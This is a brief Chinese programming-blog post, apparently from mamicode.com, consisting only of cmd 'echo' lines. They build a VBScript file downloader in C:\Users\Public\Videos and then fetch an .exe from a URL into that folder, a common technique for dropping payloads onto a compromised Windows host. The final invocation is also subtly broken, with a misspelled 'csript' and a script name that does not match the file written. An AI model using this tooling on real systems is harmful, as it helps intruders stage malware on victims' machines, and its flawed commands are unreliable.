vbs下载脚本

时间:2021-04-13 12:05:44   收藏:0   阅读:0

echo on error resume next >c:\Users\Public\Videos\zl.vbs
echo iLocal=LCase(Wscript.Arguments(1)) >>c:\Users\Public\Videos\zl.vbs
echo iRemote=LCase(Wscript.Arguments(0)) >>c:\Users\Public\Videos\zl.vbs
echo iUser=LCase(Wscript.Arguments(2)) >>c:\Users\Public\Videos\zl.vbs
echo iPass=LCase(Wscript.Arguments(3)) >>c:\Users\Public\Videos\zl.vbs
echo set xPost=CreateObject("Microsoft.XMLHTTP") >>c:\Users\Public\Videos\zl.vbs
echo if iUser="" and iPass="" then >>c:\Users\Public\Videos\zl.vbs
echo xPost.Open "GET",iRemote,0 >>c:\Users\Public\Videos\zl.vbs
echo else >>c:\Users\Public\Videos\zl.vbs
echo xPost.Open "GET",iRemote,0,iUser,iPass >>c:\Users\Public\Videos\zl.vbs
echo end if >>c:\Users\Public\Videos\zl.vbs
echo xPost.Send() >>c:\Users\Public\Videos\zl.vbs
echo set sGet=CreateObject("ADODB.Stream") >>c:\Users\Public\Videos\zl.vbs
echo sGet.Mode=3 >>c:\Users\Public\Videos\zl.vbs
echo sGet.Type=1 >>c:\Users\Public\Videos\zl.vbs
echo sGet.Open() >>c:\Users\Public\Videos\zl.vbs
echo sGet.Write xPost.ResponseBody >>c:\Users\Public\Videos\zl.vbs
echo sGet.SaveToFile iLocal,2 >>c:\Users\Public\Videos\zl.vbs

csript 1.vbs http://127.0.0.1/1.exe c:\Users\Public\Videos\1.exe

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!